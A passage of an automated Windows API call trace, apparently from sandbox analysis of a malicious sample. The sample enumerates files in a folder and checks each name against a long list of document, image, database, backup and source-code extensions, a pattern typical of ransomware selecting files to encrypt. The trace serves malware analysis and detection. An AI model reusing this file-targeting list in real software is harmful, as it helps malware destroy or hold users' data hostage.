	[0060.202] lstrlenW (lpString=".ptx") returned 4
	[0060.202] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0060.202] lstrlenW (lpString=".pub") returned 4
	[0060.203] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0060.203] lstrlenW (lpString=".pwm") returned 4
	[0060.203] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0060.203] lstrlenW (lpString=".pxr") returned 4
	[0060.203] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0060.203] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0060.203] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0060.203] FindNextFileW (in: hFindFile=0x5e03f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0060.204] FindClose (in: hFindFile=0x5e03f0 | out: hFindFile=0x5e03f0) returned 1
	[0060.204] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0060.204] FindNextFileW (in: hFindFile=0x5e0430, lpFindFileData=0x325fa7c | out: lpFindFileData=0x325fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1
	[0060.204] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4250058
	[0060.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0060.204] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e02f0
	[0060.222] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0060.584] FindNextFileW (in: hFindFile=0x5e02f0, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0060.584] lstrlenW (lpString="eula.rtf") returned 8
	[0060.584] lstrlenW (lpString=".1cd") returned 4
	[0060.584] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0060.584] lstrlenW (lpString=".3ds") returned 4
	[0060.584] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1
	[0060.584] lstrlenW (lpString=".3fr") returned 4
	[0060.584] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1
	[0060.584] lstrlenW (lpString=".3g2") returned 4
	[0060.584] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1
	[0060.584] lstrlenW (lpString=".3gp") returned 4
	[0060.584] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1
	[0060.584] lstrlenW (lpString=".7z") returned 3
	[0060.584] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0060.585] lstrlenW (lpString=".accda") returned 6
	[0060.585] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1
	[0060.585] lstrlenW (lpString=".accdb") returned 6
	[0060.585] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1
	[0060.585] lstrlenW (lpString=".accdc") returned 6
	[0060.585] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1
	[0060.585] lstrlenW (lpString=".accde") returned 6
	[0060.585] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1
	[0060.585] lstrlenW (lpString=".accdt") returned 6
	[0060.585] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1
	[0060.585] lstrlenW (lpString=".accdw") returned 6
	[0060.585] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1
	[0060.585] lstrlenW (lpString=".adb") returned 4
	[0060.585] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".adp") returned 4
	[0060.585] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai") returned 3
	[0060.585] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai3") returned 4
	[0060.585] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai4") returned 4
	[0060.585] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai5") returned 4
	[0060.585] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai6") returned 4
	[0060.585] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai7") returned 4
	[0060.585] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".ai8") returned 4
	[0060.585] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1
	[0060.585] lstrlenW (lpString=".anim") returned 5
	[0060.585] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1
	[0060.585] lstrlenW (lpString=".arw") returned 4
	[0060.586] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".as") returned 3
	[0060.586] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1
	[0060.586] lstrlenW (lpString=".asa") returned 4
	[0060.586] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".asc") returned 4
	[0060.586] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".ascx") returned 5
	[0060.586] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0060.586] lstrlenW (lpString=".asm") returned 4
	[0060.586] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".asmx") returned 5
	[0060.586] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0060.586] lstrlenW (lpString=".asp") returned 4
	[0060.586] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".aspx") returned 5
	[0060.586] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0060.586] lstrlenW (lpString=".asr") returned 4
	[0060.586] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".asx") returned 4
	[0060.586] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".avi") returned 4
	[0060.586] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".avs") returned 4
	[0060.586] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".backup") returned 7
	[0060.586] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0060.586] lstrlenW (lpString=".bak") returned 4
	[0060.586] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".bay") returned 4
	[0060.586] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0060.586] lstrlenW (lpString=".bd") returned 3
	[0060.586] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0060.587] lstrlenW (lpString=".bin") returned 4
	[0060.587] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".bmp") returned 4
	[0060.587] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".bz2") returned 4
	[0060.587] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".c") returned 2
	[0060.587] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0060.587] lstrlenW (lpString=".cdr") returned 4
	[0060.587] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".cer") returned 4
	[0060.587] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".cf") returned 3
	[0060.587] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0060.587] lstrlenW (lpString=".cfc") returned 4
	[0060.587] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".cfm") returned 4
	[0060.587] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".cfml") returned 5
	[0060.587] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0060.587] lstrlenW (lpString=".cfu") returned 4
	[0060.587] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".chm") returned 4
	[0060.587] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".cin") returned 4
	[0060.587] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".class") returned 6
	[0060.587] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0060.587] lstrlenW (lpString=".clx") returned 4
	[0060.587] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0060.587] lstrlenW (lpString=".config") returned 7
	[0060.588] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0060.588] lstrlenW (lpString=".cpp") returned 4
	[0060.588] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".cr2") returned 4
	[0060.588] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".crt") returned 4
	[0060.588] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".crw") returned 4
	[0060.588] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".cs") returned 3
	[0060.588] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0060.588] lstrlenW (lpString=".css") returned 4
	[0060.588] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".csv") returned 4
	[0060.588] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".cub") returned 4
	[0060.588] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".dae") returned 4
	[0060.588] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".dat") returned 4
	[0060.588] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".db") returned 3
	[0060.588] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0060.588] lstrlenW (lpString=".dbf") returned 4
	[0060.588] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".dbx") returned 4
	[0060.588] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".dc3") returned 4
	[0060.588] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".dcm") returned 4
	[0060.588] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0060.588] lstrlenW (lpString=".dcr") returned 4
	[0060.588] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".der") returned 4
	[0060.589] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".dib") returned 4
	[0060.589] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".dic") returned 4
	[0060.589] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".dif") returned 4
	[0060.589] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".divx") returned 5
	[0060.589] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0060.589] lstrlenW (lpString=".djvu") returned 5
	[0060.589] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0060.589] lstrlenW (lpString=".dng") returned 4
	[0060.589] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".doc") returned 4
	[0060.589] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".docm") returned 5
	[0060.589] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0060.589] lstrlenW (lpString=".docx") returned 5
	[0060.589] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0060.589] lstrlenW (lpString=".dot") returned 4
	[0060.589] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".dotm") returned 5
	[0060.589] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0060.589] lstrlenW (lpString=".dotx") returned 5
	[0060.589] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0060.589] lstrlenW (lpString=".dpx") returned 4
	[0060.589] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".dqy") returned 4
	[0060.589] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0060.589] lstrlenW (lpString=".dsn") returned 4
	[0060.589] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".dt") returned 3
	[0060.590] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0060.590] lstrlenW (lpString=".dtd") returned 4
	[0060.590] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".dwg") returned 4
	[0060.590] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".dwt") returned 4
	[0060.590] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".dx") returned 3
	[0060.590] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0060.590] lstrlenW (lpString=".dxf") returned 4
	[0060.590] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".edml") returned 5
	[0060.590] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0060.590] lstrlenW (lpString=".efd") returned 4
	[0060.590] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".elf") returned 4
	[0060.590] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".emf") returned 4
	[0060.590] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".emz") returned 4
	[0060.590] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".epf") returned 4
	[0060.590] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".eps") returned 4
	[0060.590] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0060.590] lstrlenW (lpString=".epsf") returned 5
	[0060.590] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0060.590] lstrlenW (lpString=".epsp") returned 5
	[0060.590] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0060.590] lstrlenW (lpString=".erf") returned 4
	[0060.590] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".exr") returned 4
	[0060.591] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".f4v") returned 4
	[0060.591] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".fido") returned 5
	[0060.591] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0060.591] lstrlenW (lpString=".flm") returned 4
	[0060.591] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".flv") returned 4
	[0060.591] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".frm") returned 4
	[0060.591] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".fxg") returned 4
	[0060.591] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".geo") returned 4
	[0060.591] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".gif") returned 4
	[0060.591] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".grs") returned 4
	[0060.591] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".gz") returned 3
	[0060.591] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0060.591] lstrlenW (lpString=".h") returned 2
	[0060.591] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0060.591] lstrlenW (lpString=".hdr") returned 4
	[0060.591] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".hpp") returned 4
	[0060.591] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".hta") returned 4
	[0060.591] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0060.591] lstrlenW (lpString=".htc") returned 4
	[0060.591] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".htm") returned 4
	[0060.592] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".html") returned 5
	[0060.592] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0060.592] lstrlenW (lpString=".icb") returned 4
	[0060.592] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".ics") returned 4
	[0060.592] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".iff") returned 4
	[0060.592] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".inc") returned 4
	[0060.592] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".indd") returned 5
	[0060.592] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0060.592] lstrlenW (lpString=".ini") returned 4
	[0060.592] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".iqy") returned 4
	[0060.592] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".j2c") returned 4
	[0060.592] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".j2k") returned 4
	[0060.592] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".java") returned 5
	[0060.592] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0060.592] lstrlenW (lpString=".jp2") returned 4
	[0060.592] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".jpc") returned 4
	[0060.592] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".jpe") returned 4
	[0060.592] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0060.592] lstrlenW (lpString=".jpeg") returned 5
	[0060.592] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0060.592] lstrlenW (lpString=".jpf") returned 4
	[0060.593] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".jpg") returned 4
	[0060.593] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".jpx") returned 4
	[0060.593] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".js") returned 3
	[0060.593] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0060.593] lstrlenW (lpString=".jsf") returned 4
	[0060.593] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".json") returned 5
	[0060.593] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0060.593] lstrlenW (lpString=".jsp") returned 4
	[0060.593] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".kdc") returned 4
	[0060.593] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".kmz") returned 4
	[0060.593] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".kwm") returned 4
	[0060.593] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".lasso") returned 6
	[0060.593] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0060.593] lstrlenW (lpString=".lbi") returned 4
	[0060.593] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".lgf") returned 4
	[0060.593] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".lgp") returned 4
	[0060.593] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".log") returned 4
	[0060.593] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".m1v") returned 4
	[0060.593] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0060.593] lstrlenW (lpString=".m4a") returned 4
	[0060.593] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".m4v") returned 4
	[0060.594] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".max") returned 4
	[0060.594] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".md") returned 3
	[0060.594] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0060.594] lstrlenW (lpString=".mda") returned 4
	[0060.594] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mdb") returned 4
	[0060.594] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mde") returned 4
	[0060.594] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mdf") returned 4
	[0060.594] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mdw") returned 4
	[0060.594] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mef") returned 4
	[0060.594] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mft") returned 4
	[0060.594] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mfw") returned 4
	[0060.594] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mht") returned 4
	[0060.594] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mhtml") returned 6
	[0060.594] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0060.594] lstrlenW (lpString=".mka") returned 4
	[0060.594] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mkidx") returned 6
	[0060.594] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0060.594] lstrlenW (lpString=".mkv") returned 4
	[0060.594] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0060.594] lstrlenW (lpString=".mos") returned 4
	[0060.594] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mov") returned 4
	[0060.595] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mp3") returned 4
	[0060.595] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mp4") returned 4
	[0060.595] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mpeg") returned 5
	[0060.595] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0060.595] lstrlenW (lpString=".mpg") returned 4
	[0060.595] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mpv") returned 4
	[0060.595] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mrw") returned 4
	[0060.595] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".msg") returned 4
	[0060.595] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".mxl") returned 4
	[0060.595] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".myd") returned 4
	[0060.595] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0060.595] lstrlenW (lpString=".myi") returned 4
	[0060.595] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
